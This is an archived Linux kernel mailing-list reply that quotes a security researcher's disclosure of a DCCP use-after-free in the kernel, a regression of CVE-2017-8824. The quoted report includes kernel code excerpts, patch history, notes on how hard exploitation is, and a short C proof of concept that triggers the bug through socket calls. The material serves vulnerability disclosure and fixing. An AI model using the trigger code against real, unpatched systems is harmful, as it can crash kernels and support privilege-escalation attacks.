From: Dan Carpenter <dan.carpenter@oracle.com>
To: "Leonardo Almiñana" <leonardo@alminana.com.ar>
Cc: leonardo.alminana@tacitosecurity.com, security@kernel.org,
netdev@vger.kernel.org
Subject: Re: DCCP Bug report
Date: Sat, 20 Jun 2020 20:34:38 +0300 [thread overview]
Message-ID: <20200620173438.GU4282@kadam> (raw)
In-Reply-To: <CANgvvt4Wi6nFJxufDFEbgW1YPwdV4wXeCgn-yu673D9oRoHJaw@mail.gmail.com>
This one is already publicly known because syzbot discovered it last
November. I have added netdev to the CC list. Unfortunately, DCCP
seems orphaned.
https://lore.kernel.org/lkml/20191121201433.GD617@kadam/
regards,
dan carpenter
On Fri, Jun 19, 2020 at 05:59:58PM -0300, Leonardo Almiñana wrote:
> A similar bug to CVE-2017-8824 has been (RE)introduced in the Linux kernel.
>
> When a DCCP socket connection happens one of the functions called is
> dccp_hdlr_ccid.
>
> static int dccp_hdlr_ccid(struct sock *sk, u64 ccid, bool rx)
> {
> struct dccp_sock *dp = dccp_sk(sk);
> struct ccid *new_ccid = ccid_new(ccid, sk, rx);
>
> if (new_ccid == NULL)
> return -ENOMEM;
>
> if (rx) {
> ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk);
> dp->dccps_hc_rx_ccid = new_ccid;
> } else {
> ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk);
> dp->dccps_hc_tx_ccid = new_ccid;
> }
> return 0;
> }
>
> The function allocates a new CCID and assigns it to the sock.
> * If an old CCID is found then it's deleted.
>
> void ccid_hc_rx_delete(struct ccid *ccid, struct sock *sk)
> {
> if (ccid != NULL) {
> if (ccid->ccid_ops->ccid_hc_rx_exit != NULL)
> ccid->ccid_ops->ccid_hc_rx_exit(sk);
> kmem_cache_free(ccid->ccid_ops->ccid_hc_rx_slab, ccid);
> }
> }
>
> void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk)
> {
> if (ccid != NULL) {
> if (ccid->ccid_ops->ccid_hc_tx_exit != NULL)
> ccid->ccid_ops->ccid_hc_tx_exit(sk);
> kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid);
> }
> }
>
> When the socket is disconnected dccp_disconnect is invoked, this function
> leaves dp->dccps_hc_tx_ccid unaltered.
>
> It is possible to copy the socket including dangling references. To
> accomplish
> it the socket has to be put into LISTEN state.
>
> struct sock *dccp_create_openreq_child(const struct sock *sk,
> const struct request_sock *req,
> const struct sk_buff *skb)
> {
> /*
> * Step 3: Process LISTEN state
> *
> * (* Generate a new socket and switch to that socket *)
> * Set S := new socket for this port pair
> */
>
> struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC);
>
> [...]
>
> /*
> * Activate features: initialise CCIDs, sequence windows etc.
> */
> if (dccp_feat_activate_values(newsk, &dreq->dreq_featneg)) {
> sk_free_unlock_clone(newsk);
> return NULL;
> }
>
> [...]
> }
>
> The call to inet_csk_clone_lock allocates a new socket and
> the contents of sk are copied to newsk. Next dccp_feat_activate_values gets
> called, which ends up calling dccp_hdlr_ccid.
>
> Since the copy contains a non-NULL pointer ccid_hc_tx_delete will be called
> to
> destroy the CCID object while the source socket is still holding references
> to
> it. The UAF can be triggered by operating over the CCIDs from the original
> sock
> after the child sock has freed it.
>
>
> Original patch that "fixed" CVE-2017-8824:
> https://github.com/torvalds/linux/commit/69c64866ce072dea1d1e59a0d61e0f66c0dffb76
>
> The patch was broken as it can been seen the following commit:
> https://github.com/torvalds/linux/commit/67f93df79aeefc3add4e4b31a752600f834236e2
>
> Things were still broken, so ccid_hc_tx_delete was removed :
> https://github.com/torvalds/linux/commit/2677d20677314101293e6da0094ede7b5526d2b1
>
> The last patch leaves things almost exactly as they were with CVE-2017-8824.
> The difference is that now only TX is affected, making exploitation harder
> for
> the following reasons:
> - RX's size made it easy to produce kmalloc block collisions, with TX
> it isn't.
> - The actual freeing of the object is deferred and might happen in a
> different
> context because of RCU.
>
>
> Proof of Concept
> ================
>
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
>
>
> int main(int argc, char *argv[])
> {
> struct sockaddr_in in1 =
> {
> .sin_family = AF_INET,
> .sin_port = 0xaaaa
> };
>
> struct sockaddr_in in2 =
> {
> .sin_family = AF_INET,
> .sin_port = 0xbbbb
> };
>
> struct sockaddr_in in3 = { 0 };
>
> int fd1 = socket(PF_INET, SOCK_DCCP, 0);
> int fd2 = socket(PF_INET, SOCK_DCCP, 0);
>
> bind(fd1, (struct sockaddr*)&in1, sizeof(in1));
> listen(fd1, 1);
> connect(fd2, (struct sockaddr*)&in1, sizeof(in1));
> connect(fd1, (struct sockaddr*)&in3, sizeof(in3));
> connect(fd2, (struct sockaddr*)&in3, sizeof(in3));
> bind(fd2, (struct sockaddr*)&in2, sizeof(in2));
> listen(fd2, 1);
> connect(fd1, (struct sockaddr*)&in2, sizeof(in2));
> close(fd1);
> close(fd2);
>
> return 0;
> }
>
> ### ### ### ### ### ### ### ### ### ### ### ### ###
>
> Please use my company email for any future communications, I was forced to
> use this one at the moment because your MTA refuses to accept the email
> from our provider (zoho) due to a spamcop related issue.
>
> leonardo.alminana@tacitosecurity.com
>
> Regards.
>
> Leonardo Almiñana
> Tacito Security
parent reply other threads:[~2020-06-20 17:35 UTC|newest]
Thread overview: expand[flat|nested] mbox.gz Atom feed
[parent not found: <CANgvvt4Wi6nFJxufDFEbgW1YPwdV4wXeCgn-yu673D9oRoHJaw@mail.gmail.com>]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20200620173438.GU4282@kadam \
--to=dan.carpenter@oracle.com \
--cc=leonardo.alminana@tacitosecurity.com \
--cc=leonardo@alminana.com.ar \
--cc=netdev@vger.kernel.org \
--cc=security@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.